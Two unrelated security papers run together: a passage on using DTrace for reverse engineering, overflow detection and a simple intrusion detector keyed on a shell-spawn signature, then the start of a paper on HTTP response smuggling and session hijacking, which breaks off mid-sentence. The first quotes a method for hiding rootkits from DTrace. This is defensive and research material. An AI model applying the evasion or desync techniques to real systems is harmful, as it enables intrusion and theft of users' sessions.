Anatomy of D Program Figure 2. DTrace Architectural Overview source: [1] 3 the system is returned to its normal operating state. The D Language As stated earlier the D language syntax is a subset of C. Unlike C, the D language does not use traditional conditionals such as “if … else.” Instead D uses the concept of a “predicate” as a conditional statement. A predicate expression is evaluated as the probe is triggered. If the predicate is evaluated as true, then any statement or action associated with the clause executes. If the predicate value is false then the probe is not triggered and instrumentation continues. Several predicates and probes can be linked together to form a D program. DTrace gives accessibility to an enormous amount of data. Effective D scripts should only instrument what is needed and choose the right action for the job. DTrace and Reverse Engineering Reverse engineering in the context of security research is essentially the search to understand how a piece of software works. Reverse engineering requires time-consuming careful analysis, and DTrace can make that analysis much easier and faster in a number of ways. The greatest strength of DTrace is the scope and precision of the data that can be gathered by relatively simple D scripts. A reverse engineer can learn a lot about a piece of software from just one or two well place probes. This puts DTrace in category of a ‘rapid development’ environment for reverse engineers. The remainder of this paper will explore how DTrace can be used for various common reverse engineering tasks. First we explain how DTrace can be used for detecting and pinpointing stack based buffer overflow. Secondly we examine detecting heap-based overflows and other heap memory management issues. We then look at how to use DTrace with IDA Pro to visualize block level code coverage. Finally we discuss intrusion detection possibilities with DTrace and various ways to avoid DTrace’s monitoring. Stack Overflow Monitoring One interesting challenge is to use DTrace to build a stack overflow detector. Such a monitor has been written in Python based on PyDbg, which is included with the PeiMei framework. [3] PeiMei’s detector works by setting breakpoints and single-stepping through the application. We wish to build a similar monitor using DTrace that does not require the use of breakpoints. The simplest approach is to monitor the EIP register for a known bad value, such as 0x41414141, or a particular value you might find in an exploit you want to analyze, for instance 0xdeadbeef. This would require activating only one probe for each function entry. Still, this could be a significant number of probes. The table below lists some common applications and the number of entry probes available on OS X for those applications. These numbers include library functions. Program Probes Firefox 202561 Quicktime 218404 Adium 223055 VMWare Fusion 205627 cupsd 91892 sshd 59308 ftp client 6370 However, we cannot accurately estimate in advance the performance impact of instrumenting every entry probe on an application since probes will only have an impact when they are hit. An application may Figure 3. Number of entry probes in common applications on OS X 10.5 4 import many libraries but only make a few function calls. Conversely, an application may call one function in a tight loop, creating a heavy performance hit when traced. To avoid dropping probes and hindering application performance, we first ensure our probes do not trace unimportant modules and functions that are called too frequently. The DTrace script shown in figure 4 can be used to report the most frequently called functions. When the above script is run against FireFox and QuickTime Player it is obvious which functions and libraries can be exclude from our traces. In QuickTime Player, there are a large number of calls to the __i686.get_pc_thunk.cx function. Both applications are making the majority of their calls to functions in the libSystem.B.dylib module. By excluding these frequently hit functions and libraries we will see a significant performance improvement when tracing these applications. Our experience with DTrace has shown that it is much more effective to build specific scripts that activate a limited number of probes, rather than to try to build a generic DTrace script that can apply to every situation. Once a reasonable subset of the application has been selected for tracing, a simple DTrace script, shown below in figure 4, can be used to check the value of the next instruction at function return time. This probe will fire whenever the value of EIP is 0x41414141. Typically this would cause the application to crash. But with DTrace we can stop the application before it attempts to execute the instruction at 0x41414141. This allows us to carry out data collection and analysis, such as printing CPU register values and function parameters, dumping memory, or attaching a traditional debugger and examining the stack. This example makes the limiting assumption that when an overflow occurs, EIP will be 0x41414141. This may be reasonable for doing basic fuzzing, but an effective stack overflow detector should be able to detect overflows in a much more generic fashion. This can be achieved by recording the return address in the stack frame created at function entry time. The recorded return address can then be compared to the return value at function return time. We do not compare the value of EIP with the saved return value because of the way DTrace handles tail call optimizations ([2]). DTrace reports a tail call as a return from the calling function, and an entry to the function being called. However, the EIP at function return time is the first instruction of the function being called, not the return value stored in the stack frame. This will trip up an integrity monitor that compares saved return values with the actual value of EIP. Instead, we alert when the saved return address is different from the current return address, and EIP is equal to the current return address. The above logic works well for most applications. However, some peculiarities of DTrace must be accounted for. In particular, DTrace can not trace functions that use jump #!/usr/sbin/dtrace -s pid$target:::entry { @a[probemod,probefunc] = count(); } END { trunc(@a,10); } Figure 4. Script to count function calls #/usr/sbin/dtrace -s pid$target:a.out::return / uregs[R_EIP] == 0x41414141 / { printf("Don’t tase me bro!!!"); printf(“Module: %s Function %s”, probemod, probefunc); ... } Figure 5. Checking EIP for a bad value 5 tables. [2] When DTrace cannot determine what is happening in a function it chooses to not allow instrumentation. For this reason, you may end up with a function for which there is an entry probe, but no exit probe. This is the case when DTrace cannot fully instrument a function due to its use of function jump tables. If this type of function is called and accounted for in our stack monitor, but never returns, then our list of saved return addresses will become out of sync with the real stack. These functions must be ignored during tracing in order to properly monitor the stack. DTrace’s “–l” command parameter can be used to list matching probes for a given probe definition. The list of entry probes can be compared with the list of return probes to determine which functions our monitor should ignore. With these considerations implemented, our DTrace-based stack overflow monitor was able to detect the recent RTSP overflow in QuickTime Player. The initial output is shown below. The full output of the program includes the call trace. The monitor will catch stack overflows that depend on overwriting the return address. In many cases overflows will modify more data on the stack than just the return address. This can result in invalid memory access attempts when the function attempts to dereference overflowed data before it returns. This situation is more common when fuzzing applications, rather than when detecting well crafted exploits that properly control EIP. An additional DTrace script can be used to pinpoint the exact instruction that causes the overflow. This is done by tracing each instruction in the vulnerable function, and checking the stack return value after each instruction. Once the overflow is detected, we know that the last EIP value is the instruction that caused the overflow. It may be worth exploring other ways DTrace can be used to monitor for overflow. Similar to the heap overflow monitor discussed below, function parameter sizes and addresses could be recorded and later verified when bcopy, memcpy or strcpy are used to copy data into those locations. Another approach would be to record the stack frame boundaries and when the bcopy, memcpy or strcpy functions are called, then verify that the parameter will not write past a frame boundary. This is an area of future work. Heap Overflow Monitoring One of the most powerful features of DTrace is ability to ‘hook’ functions generically. As shown above this functionality when combined with Ruby or some other object-oriented scripting language can make for a very powerful reverse engineering platform. In recent years many development teams have embraced secure coding practices. The increased awareness among software companies along with advances in operating system protections such as non executable stacks have made traditional “low hanging fruit” like stack overflows increasingly rare in widely used platforms. This has made # ./eiptrace.d -q -p 4450 STACK OVERFLOW DETECTED STACK OVERFLOW DETECTED STACK OVERFLOW DETECTED Module: QuickTimeStreaming Function: _EngineNotificationProc Expected return value: 0x1727bac4 Actual return value: 0xdeadbeef Stack depth: 14 Registers: EIP: 0xdeadbeef EAX: 0xffffeae6 EBX: 0x11223344 ECX: 0x00000005 EDX: 0x00000000 EDI: 0x31337666 ESI: 0x41424142 EBP: 0xdefacedd ESP: 0x183f6000 ... Figure 6. A Stack overflow detected 6 ‘heap overflows’ an increasingly import attack vector for exploit writers and security researchers. Nemo, of FelineMenace.or,g wrote the de facto treatise on “Exploiting Mac OS X heap overflows” in Phrack 63 [11]. His attack relies on manipulating the size and frequency of allocations to the heap (on OS X called “zones”), combined with a heap overflow to overwrite function pointers contained in the initial heap struct called ”malloc_zone_t.” The struct is loaded into process space and contains function pointers to various dynamic allocation routines such as malloc(), calloc(), realloc(), etc… When the addresses to these functions are overwritten the next call can result in arbitrary code execution. This is just one of many heap exploitation techniques that rely on tracking the size, amount, and allocation patterns of the heap structures. The emergence of the heap as one of the main exploit attack vectors has brought along with it the need for an advance in tools to help the reverse engineer understand how the heap structure evolves. There are a number of tools released recently which focus on understanding the way the heap evolves from a reverse engineering perspective. On the Windows platform, the Immunity Debugger has an extremely powerful API which provides many tools for understanding the way a heap evolves. On the Linux and Solaris platforms, Core Security’s HeapTracer tool written by Gerado Richarte uses truss or ltrace to monitor system calls which allocate or de- allocate dynamic memory. Building on this same idea as a platform the heap overflow monitor included with RE:Trace keeps track of the “heap” state by hooking dynamic allocation functions. RE:Trace’s Heap Smash detector does more then just track allocations to the heap, it goes one step further by also hooking functions that attempt to allocate data to the heap. The RE:Trace Heap Smash Detector works by creating a Ruby hash which keeps track of the request size of malloc() calls as a value and the valid return pointer as a key. Its also keeps track of any calloc(), realloc(), or free() calls accordingly. This running ‘tab’ or the state of the heap is then used to check whether operations using the space will overflow it. A second hash keeps track of the stack frame which allocated that original memory chunk. For example, in RE:Trace the standard C strncpy() call is hooked and the destination address and size parameters are checked against the malloc() hash to see what the valid size of allocated region is. If the size of the strncpy() is larger then the allocated block we know that a heap overflow has occurred. The heap smasher has identified precisely where the overflow occurred, how large it is, and what stack frame made the original malloc() called. Not bad for a relatively short script! Figure 8. Strncpy() being hooked pid$target::malloc:entry{ self->trace = 1; self->size = arg0; } pid$target::malloc:return /self->trace == 1/ { ustack(1); printf("mallocreturn:ptr=0x%p|size=% d", arg1, self->size); self->trace = 0; self->size = 0; } Figure 7. Probe instrumenting malloc entry size argument and return pointer 7 A similar vulnerability tracing technique has been created using Microsoft’s Detours suite. [14] The tool called “VulnTrace” uses a DLL injected into process space which intercepts functions imported in IAT table so it can inspect function arguments for security flaws. This method is much more laborious and time consuming than the method used for RE:Trace, and must be tailored to each application being instrumented. Performance and memory addressing may be affected because of the additional DLL. DTrace is implemented as an operating system component with very little overhead and does not interfere with the software under test. There are some caveats about the OS X zone allocation algorithm which must be taken into account when implementing the heap smash detector. As noted by Nemo is his article “Exploiting OS X heap overflows,” OS X keeps separate “zones” or heaps for different sized allocations. The following table from A. Singh’s “Mac OS X internals” shows the division of the ‘zones’ by allocation size. Zone Type Zone Size Allocation Size (bytes) Allocation Quantum Tiny 2MB < 1993 32 bytes Small 8MB 1993-15,359 1024 bytes Large - 15,360 - 16,773,120 1 page (4096 bytes) Huge - > 16,773,120 1 page (4096 bytes) Figure 9. Scalable Zone Types on OS X Leopard. Source: [6] We can keep a running tally of each of the zones by hooking the allocation sizes and using separate hashes for each. One interesting aspect about the tiny and small “zones” is that they are fixed at 2mb and 8mb respectively making it easier to calculate how much has been allocated to each. We can easily spot double free() and double malloc() errors using the structure laid out above. One interesting fact about OS X zones noted by Nemo is the allocation algorithm in use will not free() a zone located at the same address twice in most cases. [11] Yet under the right circumstances, (i.e. the attempted double free() is the same size and free()’d pointer still exists) the condition is exploitable and therefore worth detecting. We are able to monitor for precisely this condition with the RE:Trace Heap Smash Detector. Future additions to the framework may included integration with IDA disassembled via IDARub for automatic probe creation. Code Coverage Function level tracing can give us some hints as to which parts of code have been executed during a particular run of the software. Combined with symbols resolution this can be quite meaningful for someone wishing to gain an understanding of the behavior of an application. Function level tracing can be particularly helpful if you wish to understand how a certain vulnerable function can be triggered. But in terms of code coverage, function level measurements are fuzzy at best. There is no real indication as to the complexity of a function, or even as to how much of the code inside a function was executed. At the function level, we can learn about what the application is doing, but we cannot obtain a good measurement of how well we have tested our software. Block level tracing can provide us with much more accurate measurements of code coverage. A block of code is a set of instructions for which if the first instruction is executed, then all instructions in the block are executed. Conditional jump instructions separate blocks of instructions. This is represented in the IDA Pro disassembler graph view as illustrated below. 8 Figure 10. IDA Pro Disassembler graph The arrows between each block represent the possible code paths that may be taken during execution. When auditing an application, we are interested in how many blocks of code we can execute. DTrace can provide us with this measurement with its ability to do instruction level tracing. This gives us the ability to see which blocks in a function are being executed and which are not. Combining run time instruction traces with static binary analysis, we can answer questions such as what percentage of total instructions were executed, what percentage of blocks were executed, how many times a block executed, and which blocks were never executed. This provides important metrics to software testers, and can also be used as feedback into a smart or evolutionary fuzzing engine that changes its behavior depending on the feedback it gets from its monitor. Instrumenting probes at every instruction in a large application can be very expensive in terms of performance. It helps to narrow the scope to a single library that the application imports, or just the application code itself. Further improvements can be made with the help of static analysis. Only a single instruction needs to be instrumented per block. With DTrace’s instruction level tracing, specific instruction probes are specified as an offset within its function, rather than a memory address relative to the start of the library or the instructions global address in virtual memory. For example, the following probe definition will fire at the instruction that at the offset 3f in the function getloginname of the /usr/bin/login program: pid4573:login:getloginname:3f {} DTrace is strictly a runtime analysis tool and has no notion of code blocks. Static analysis with a disassembler must be used to determine the addresses of the first instruction of every block. Once a list of addresses to instrument has been determined, they must be mapped from the global address to the offset within their function so that they can be used with DTrace probes. We use a combination of technologies to connect DTrace with IDA Pro to visualize our code coverage in real time. Ruby-dtrace is used to wrap libdtrace, allowing programmatic responses to be coded in Ruby and executed when particular probes fire [4]. IDArub is used to allow a remote interface to the IDA Pro API [5]. IDA Pro is run on a Windows system and the Ruby environment sends commands to IDA over the network. When a probe fires, indicating that an instruction is executing in the traced application, that instruction is colored in IDA Pro. The comment field for that instruction can also be updated to indicate the number of times the instruction has executed. Figure 11 shows how the code coverage is represented. Red blocks indicate code that has been executed while white block have not been executed. 9 Figure 11. Code coverage representation in IDA The code coverage visualization makes it easy to see when large portions of code are not being executed. Manual analysis can be carried out to determine what conditions are necessary to cause the missed code to be executed. RE:Trace: DTrace/Ruby Framework for Reverse Engineering As noted earlier, Chris Andrew’s Ruby-DTrace adds flexibility to the already powerful DTrace framework enabling reverse engineer’s to write scripts that would not be possible in the D language alone. Yet there are indeed many pieces of boiler plate functionality (i.e. CPU Context, memory dump/search, etc..) that normal reverse engineering activities require. We have packaged together this functionality, along with additional features into a framework we call RE:Trace. Integrating the power of Ruby and DTrace, RE:Trace is the framework which powers the aforementioned Stack Pin Point, Heap Smash, and Code Coverage scripts. Bundling features reverse engineers need into an object oriented framework with many helper functions, allows RE:Trace to become the basis for many powerful tools. RE:Trace is being actively developed and will soon be released with features such as command line interaction via Ruby’s IRB, and the ability to enabled probes without using D syntax. Using DTrace Defensively The fact that DTrace instruments nearly the entire system makes DTrace extremely extensible and applicable to a number of tasks. While we have mainly looked at DTrace from a reverse engineering perspective there are ways to use DTrace’s feature set to defend a system. Commercial HIDS (Host-Based Intrusion Detection Systems) have become fairly common place on win32 systems. Vendors have put out products like McAfee’s “Entercept” and Cisco’s “Security Agent”. According to McAfee’s white paper “System Call Interception,” the “Entercept” technology works by altering the function pointers in the system call table within the kernel. The function pointers are altered so that the “Entercept” kernel driver can hook any system call and apply its security method to determine whether or not the call made by the user land process is valid. Cisco’s “Security Agent” has essentially the same architecture. By design, DTrace allows a user to do essentially the same type of system call intercept as McAfee and Cisco’s commercial offerings in an almost completely unobtrusive way. A custom host-based intrusion detection system based on system call introspection would be simple to implement in the D Language. Using Subreption’s publicly available exploit for the QuickTime 7.3 RTSP stack based buffer- overflow as an example we can see how a quick custom HIDS can be created easily with a D Script. [10] The Subreption exploit for QuickTime 7.3 on 10 Leopard OS X 10.5.1 uses a classic ‘return-to- libc’ attack to exploit the stack overflow. A ‘return-to-libc’ exploit leverages a buffer overflow to setup arbitrary arguments on the targets stack before returning into the System() function to execute a system call. This is probably the most popular exploit technique on platforms that have non-executable stacks. The payload of many of these attacks rely on a series of system calls which usually involve a call to “/bin/sh”, or “/bin/bash”. If we are looking at protecting a vulnerable QuickTime 7.3 from a “return-to-libc” exploit we would first profile QuickTime’s normal operation through system calls. DTrace can be used to do this profiling with the script shown in figure 12. Once we have established a profile or average system calls made, we can begin to create signatures for possible attacks that will not create “false positives” Clearly blacklisting known attacks based on or one two public exploits will not suffice for an ‘Enterprise’ HIDS but it will serve to illustrate how a HIDS could be built on DTrace. (for further details take a look at Sun’s DTrace based HIDS patent application # 20070107058) By comparing the output of system calls from the short D script shown during normal operation and operation while being exploited, we can determine which system calls can be used as ‘signatures’ for our HIDS D script. After analyzing the ‘return-to-libc’ attack system calls, it is obvious that QuickTime Player would not normally make a system call to execute ‘/bin/sh’ during everyday operation (of course this is a trivial example). Using the DTrace predicate “/execname == "QuickTime Player" & args[0] == "/bin/sh"/” would suffice to create a generic D script which would detect the default payload for the Subreption QuickTime exploit and its variants. After detecting the exploit with the syscall probe it is trivial to trigger an action which logs, prints out, or stop()’s the process under attack. The entire script, shown in figure 13, is a just a few lines. Although the above example is extremely basic, it could certainly be improved upon with the addition of attack signatures. There are several advantages to implementing a ‘custom’ HIDS. The first is that attacks cannot test the effectiveness of a custom HIDS without attacking the target. Commercial off-the-shelf HIDS can be profiled in a controlled environment to ensure that exploits evade detection. The second, is that for a custom application, the HIDS can be tailored to avoid false positives. Generic system call monitoring can often mislabel normal operation. Using Ruby-DTrace to implement a HIDS could allow a developer to create a much more advanced database complete with signatures stored in a relational database and a Ruby-On-Rails interface. #!/usr/sbin/dtrace -q -s proc:::exec /execname == "QuickTime Player" && args[0] == "/bin/sh"/ { printf("\n%s Has been p0wned! it spawned %s\n", execname, args[0]); } Figure 13. Trivial QuickTime HIDS D script #!/usr/sbin/dtrace -q –s proc:::exec /execname == "QuickTime Player"/ { printf("%s execs %s\n", execname, args[0]) } Figure 12. Profiling QuickTime System Calls 11 Hiding Applications From DTrace In a blog posting dated January 18, 2008, DTrace core developer Adam Leventhal came across some surprising behavior while using DTrace to monitor system-wide behavior: “Apple is explicitly preventing DTrace from examining or recording data for processes which don't permit tracing. This is antithetical to the notion of systemic tracing, antithetical to the goals of DTrace, and antithetical to the spirit of open source.” [11] To accomplish this, Apple is using the same method it uses to keep GDB from attaching to certain software. As explained by Landon Fuller “PT_DENY_ATTACH is a non-standard ptrace() request type that prevents a debugger from attaching to the calling process.” [10] Both Apple’s version of GDB and DTrace check to see if this flag is set before a process can be debugged or instrumented. Landon Fuller is also the author of a kext or Kernel Extension for XNU that allows any process to be instrumented by DTrace. By altering the ptrace function pointer in the sysent struct within the XNU kernl with a pointer to a custom PTrace wrapper, Fuller enables anyone to use DTrace in its intended form. In his presentation at the Chaos Computer Congress entitled “B.D.S.M The Solaris 10 way” Archim reports significant work that gives his rootkit “SInAR” the capability to hide from DTrace on the Solaris platform. The problem from a rootkit writer’s perspective is that DTrace’s fbt provider keeps a list of all modules loaded in the kernel. So if even if you have found a way to hide your process from mbd, ps, etc., a clever admin with DTrace may still detect a kernel-based rootkit. One problem Archim came across is that even modules which have mod_loaded and mod_installed set to 0 will still be discovered by DTrace. Archim describes the method he uses to hide from DTrace: “When you combine a call to dtrace_sync() and then dtrace_condense(&fbt_provider), you will be removed from the list of providing modules in DTrace.” This will force DTrace to remove the rootkit from DTrace’s internal link list of providers and have its probes set on inactive. At the present time, the 0.3 version of SInAR on vulndev.org only works on SPARC. There is currently no known rootkit for OS X Leopard or Solaris 10 x86 capable of hiding from DTrace Conclusion DTrace is a powerful tool that allows us to collect an enormous range of information about a running program. Like any tool, it is important to understand its strength and weakness. In general, DTrace is very well suited for collecting and reporting statistics or specific values at a given point in time. This turns out to be very useful for reverse engineers, who are interested in pinpointing very specific conditions, such as copy a large value into a small space, as well as understanding general behavior, such as the growth patterns of heaps. The introduction of DTrace to the reverse engineering world invites many opportunities for improving related techniques. We have shown how DTrace can be used to detect and pinpoint stack and heap overflows, and visualize code coverage. We have also discussed DTrace as an intrusion detection tool, and issues related to subverting DTrace. There are many more interesting areas to explore for future work. These include implementing automated fuzzer feedback based on code coverage results or parameter values; detection of rootkits using DTrace timing calculations; and kernel bug pinpointing. 12 References [1] Bryan Cantrill, Mike Shapiro and Adam Leventhal, Advanced DTrace – Tips, Tricks and Gotchas, slide 43. [2] Sun Microssystems, Inc., Solaris Dynamic Tracing Guide, pp. [3] Pedram Amini, Pin Pointing Stack Smashes, http://dvlabs.tippingpoint.com/blog/2007/05/02/pin- pointing-stack-smashes [4] Chris Andrews, Ruby-DTrace, http://rubyforge.org/projects/ruby-dtrace/ [5] spoonm, IdaRub, REcon 2006 [6] Amit Singh, Mac OS X Internals A Systems Approach, Addison-Wesley, 2006 [7] Landon Fuller, Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard, http://landonf.bikemonkey.org/code/macosx/Leopard_PT _DENY_ATTACH.20080122.html, 2008 [8]Adam Leventhal, Mac OS X and the missing probes, http://blogs.sun.com/ahl/entry/mac_os_x_and_the, 2008 [9]Archim, “SUN – Bloody Daft Solaris Mechanisms.”, Chaos Computer Congress, 2004 [10] Subreption, LLC., QuickTime RTSP Redux, http://static.subreption.com/public/exploits/qtimertsp_red ux.rb [11]Nemo, “Exploiting OS X Heap Overflows”, Phrack Magazine, Issue 63 [12]Richard McDougall, Jim Mauro, Brendan Greg, “Solaris™ Performance and Tools: DTrace and MDB Techniques for Solaris 10 and OpenSolaris” Prentice Hall, 2006 [13] Stefan Parvu, “DTrace & DTraceToolkit-0.96”, http://www.nbl.fi/~nbl97/solaris/dtrace/dtt_present.pdf [14] Various, “The Shellcoder's Handbook: Discovering and Exploiting Security Holes”, Wiley and Sons, 2007
pdf
Response Smuggling: Exploiting HTTP/1.1 Connections Martin Doyhenard Onapsis mdoyhenard@onapsis.com Abstract Over the past few years, we have seen some novel presentations re-introducing the concept of HTTP request smuggling, to reliably exploit complex landscapes and systems. With advanced techniques, attackers were able to bypass restrictions and breach the security of critical web applications. But, is everything said on HTTP Desync Attacks, or is it just the tip of the iceberg? This paper will take a new approach, focusing on the HTTP Response Desynchronization, a rather unexplored attack vector. By smuggling special requests it is possible to control the response queue, allowing an attacker to inject crafted messages in the HTTP pipeline. This can be leveraged to hijack victim’s sessions from login requests, flood the TCP connection for a complete Denial of Service, and concatenate responses using a vulnerability called HTTP method confusion. This research presents a novel technique, known as Response Scripting, to create malicious outbound messages using static responses as the building blocks. Finally, by splitting reflected content, this paper will demonstrate how an attacker would be able to inject arbitrary payloads in the response pipeline. This will be leveraged to write custom messages and deliver them back to the victims. This document will also introduce a Desync variant, used to hide arbitrary headers from the backend. This technique does not abuse discrepancy between HTTP parsers, but instead relies on a vulnerability in the HTTP protocol definition itself. Abstract 1 Introduction 3 HTTP Request Smuggling 3 HTTP Desync Variant 4 HTTP Response Smuggling 5 Response Injection 5 Response Hijacking 6 Request Chaining 7 Request Hijacking 8 HTTP Response Concatenation 10 HEAD Response Length 10 HTTP Method Confusion 10 Response Concatenation 11 HTTP Response Scripting 12 Reflected Header Scripting 12 Content-Type confusion & Security bypass 14 Session Hijack: stealing HttpOnly Cookies 14 Arbitrary Cache Poisoning 17 HTTP Splitting: Arbitrary Response Injection 19 Conclusions 21 References 21 Introduction HTTP Request Smuggling HTTP request Smuggling was first documented back in 2005 by Watchfire1. Is an attack which abuses the discrepancies between chains of servers (HTTP front-end and back-end servers) when determining the length and boundaries of consecutive requests. A discrepancy occurs when two HTTP parsers calculate the length of a request using different length tokens or algorithms. This can cause a proxy to think it's sending one request when, in fact, the origin server reads two. But it was not until 2019, when a state of the art research2, presented by James Kettle, demonstrated that Request Smuggling could be successfully exploited in the wild. It proved that this idea could be leveraged to craft a malicious request, which intentionally causes a discrepancy, in order to affect other messages traveling through the same connection. By confusing the backend server, an attacker could “smuggle” a hidden request that will be considered as the prefix of the next request sent through the pipeline. The HTTP RFC allows messages to contain 2 different length headers, the Content-Length and Transfer-Encoding. And to ensure that all parsers use the same length in a particular message, it provides message-length headers hierarchy: “If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.” This should solve the problem, however, if for any reason a proxy or origin server fails to either interpret one of these headers, or to be RFC-compliant, a discrepancy could occur. Figure 1. A malicious client performing a request smuggling attack. 1) The attacker and victim both send an HTTP request. 2) The proxy parses the messages and forwards them as 2 different requests. 3) The backend server processes the first part (green) of the attacker’s message as one isolated request and returns the response to the malicious client. The second part of the message (red) is concatenated to the beginning of the victim’s request. The response generated is delivered to the victim. 2 https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 1 https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf It is not the purpose of this paper to discuss the different techniques to cause discrepancy between proxies and the origin server, nor the methodology for successful exploitation of classic HTTP request smuggling vulnerabilities. If the reader wants to know more about this, please refer to James Kettle’s and Amit Klein’s3 previous works. HTTP Desync Variant The Connection header field provides a declarative way of distinguishing header fields that are only intended for the immediate recipient ("hop-by-hop") from those fields that are intended for all recipients on the chain ("end-to-end"). That is, one of the main purposes of Connection Option is to “hide” hop-by-hop headers from any other than the next proxy/origin-server in the communication chain. At first, setting an end-to-end header as a Connection Option might look harmless. Doing so will cause the same effect as not sending the header at all. Most end-to-end headers are not processed by proxies and do not affect the forwarded message. However, looking at the nature of most HTTP Desync techniques, it seems obvious that the issue being abused is the inability of one or more proxies/servers to properly handle, or “see”, a message-length header. And this same condition can be met if one of those headers is handled by one proxy, but is not forwarded to the following one (or origin server). This technique can be used to exploit the same HTTP Smuggling flaws as any other Desync variant. The main difference is that this method relies on a vulnerability in the implementation of the protocol itself, meaning that it is likely to find it in RFC-compliant servers and proxies. 3 https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defens es-And-New-Challenges.pdf HTTP Response Smuggling Response Injection Request smuggling vulnerabilities can be leveraged to cause critical damage to a web application. By injecting an HTTP prefix into a victim’s request, a malicious user would be able to chain low scoring vulnerabilities and craft attacks such as XSS and CSRF without user interaction, partial Denial of Service, open redirects, WEB cache poisoning/deception and others. But, in all these examples, another vulnerability is required to compromise the application/user. This paper focuses on another exploitation vector, the desynchronization of the response pipeline. All following examples use Request Smuggling vulnerabilities, but the same concepts could apply if a Response Splitting vulnerability was found. After processing the last message, the backend, which will treat it as two separate requests, will produce two isolated responses and deliver them back to the proxy. If another victim’s request is sent by the proxy, right after the attacker’s one, the response pipeline will be desynchronized and the injected response will be sent to the victim as shown in figure 3 and 4. Figure 2. 1) The attacker sends a crafted request right before the victim’s one. 2) The proxy forwards each message to the backend server. 3) The backend processes the packages as 3 isolated requests and produces 3 different responses. Figure 3. 4) The backend server returns 3 responses, including the one for the smuggled request (red). 5) Responses are delivered using a FIFO scheme, causing the attacker to receive the response to his first request, and the victim to obtain the response to the injected request. Response Hijacking Still, this scenario does not add anything new to the attack. But what’s interesting about this technique is not the fact that the victim received an incorrect response, as it would in classic request smuggling. The goal of the malicious request was instead to desynchronize the responses, leaving an “orphan” response in the queue. If the attacker issues another request after the previous attack, it would receive the response of the victim, which could contain sensitive information. Some responses could even contain session cookies, if they were associated with a login request. Figure 4. 6) The attacker sends another request, expecting to receive the victim’s response (blue). 7) The proxy forwards the request and receives (or had stored depending on the implementation) the victim’s response. Figure 5. 8) The attacker receives the victim’s response. 9) The connection is closed for any reason and the new orphan message is discarded (close response, timeout, max requests per connection). Although this technique seems quite simple, there are some important considerations to successfully hijack responses: 1. The persistent connection between the Proxy and the Backend must be kept alive until the response is hijacked. This means that no request or response can contain the close connection directive. 2. Some proxies will not allow pipelining (store responses), so a request must be issued right after the victim's. In most cases this can be solved if the attacker sends a high number of requests in a small period of time. 3. Bad Requests (malformed or invalid messages) and other response status codes (4XX, 5XX) will cause the connection to be closed. For this reason response hijacking is not observed in some classic request smuggling examples. This attack does not require to chain any extra vulnerability, and could easily lead to session hijacking if the victim’s response contains session cookies (a login response). Request Chaining Using response smuggling is possible to inject an extra message to desynchronize the response pipeline. However, there is nothing that stops the attacker from sending an arbitrary amount of smuggled messages. Figure 6. 4) The backend server generates 5 isolated responses and returns them in order to the Proxy. malicious responses (red) contain a reflected XSS payload. 5) The XSS exploit is delivered to the victim’s without any extra interaction. Using this technique not only improves the reliability of HTTP smuggling, but can also be used to consume the resources of the backend server (TCP connections, Memory buffers, Processing time). If the amount of injected payloads is big enough, a single message could contain thousands of hidden requests which will be processed by the backend thread. When pipelining is enabled (network buffers are not discarded), the requests and responses will be stored in memory until all messages are handled. This could easily lead to memory and CPU time consumption, which will end up in a complete denial of service of the backend server, and in some cases, crashing the web application. Also, if requests take time to be resolved (the backend requires some seconds to generate the response), TCP connections can be hung without being closed by a time out. This will eventually consume all available proxy connections, as proxies can only handle a finite amount of concurrent connections. When this condition is met, all following client’s requests will be either discarded or placed in a message queue that won't be able to forward them before a time out. Both cases will be observed as a denial of service of the proxy/origin server. Request Hijacking By desynchronizing the response queue, an attacker could inject a request which will be completed with the victim’s message (just as in old HTTP Smuggling techniques). However, as the pipeline order is lost after adding extra responses, the attacker could obtain the client response, only this time the associated victim’s request was also affected by a smuggled message. In order to perform this attack, it is necessary to find a resource that provides content reflection. Most (or almost all) web applications will have some web page reflecting parameters, which is not a vulnerability if the content is escaped correctly. Figure 7. 1) An attacker sends two smuggled requests in the same message, one of them (red) to the content reflecting resource. 2) The proxy forwards two requests through the same connection. 3) The last smuggled request is prepended to the victim’s message. Figure 8. 4) The 3 responses are returned to the proxy. The last one includes the original victim’s request in the body. 5) Both clients receive responses for the requests issued by the attacker, which is also sending a new message to hijack the orphan response. Figure 9. The attacker receives the malicious desynced response, which contains the original victim’s request as reflected content. HTTP Response Concatenation HEAD Response Length Until now, HTTP smuggling attacks leveraged discrepancies between proxies/servers, when determining the length and boundaries of an incoming request. However, it should also be possible to leverage discrepancies in the response lengths, in order to split or concatenate messages going back to the client. If that would be the case, the attacker would have further control over the response pipeline and the messages delivered to the victims. Any response which is generated after a HEAD request is expected not to have a message-body. For this reason, any proxy/client receiving a response to a HEAD request must ignore any length headers and consider the body to be empty (0 length). The RFC states that a response to a HEAD request must be the same as one intended for a GET request of the same resource. Also, if the message-length header is present, it indicates only what would have been the length of the equivalent GET request. RFC7231: “Responses to the HEAD request method never include a message body because the associated response header fields (e.g., Transfer-Encoding, Content-Length, etc.), if present, indicate only what their values would have been if the request method had been GET” In most Web Applications, it is rather common to see HEAD responses with content-length header in static resources (such as HTML static documents). This is also true when Web Caches store a resource which is then requested through a HEAD message. HTTP Method Confusion As the length of a HEAD response is determined by the request associated, it is important for proxies to match ingoing and outgoing messages correctly. If this fails, the response content-length would be considered, which might contain a non-zero value. As already explained in the previous section, using HTTP Smuggling, it is possible to inject extra messages in the response queue. This can desynchronize the response pipeline, causing proxies to mismatch the relationship between inbound and outbound messages. If the attacker would smuggle a HEAD request, the pipeline desynchronization could cause the response to be associated with another method request. And as any other method uses length headers to determine the bounds of messages, the proxy would think that the response body is the first N bytes of the next response, where N is the value of the Content-Length. Response Concatenation HTTP Method Confusion technique can be leveraged to obtain a new set of response payloads and vulnerabilities. As the HEAD response will consume the first bytes of the following message, the attacker can smuggle multiple responses and build the body using them. Notice the close connection directive in the last smuggled request. This is not accidental, and will be useful to discard any left-over suffix bytes of a request/response that will produce a Bad Request message. Figure 10. 1) The attacker sends 2 smuggled requests, the first being a HEAD message. The Proxy forwards 2 “GET '' requests. The victim’s message is not processed as the previous request contained a close directive. Figure 11. The client receives the smuggled responses concatenated, using the first (HEAD) response as headers, and the second response message as the body. As the second smuggled response full length (headers+body) might be greater than the HEAD response 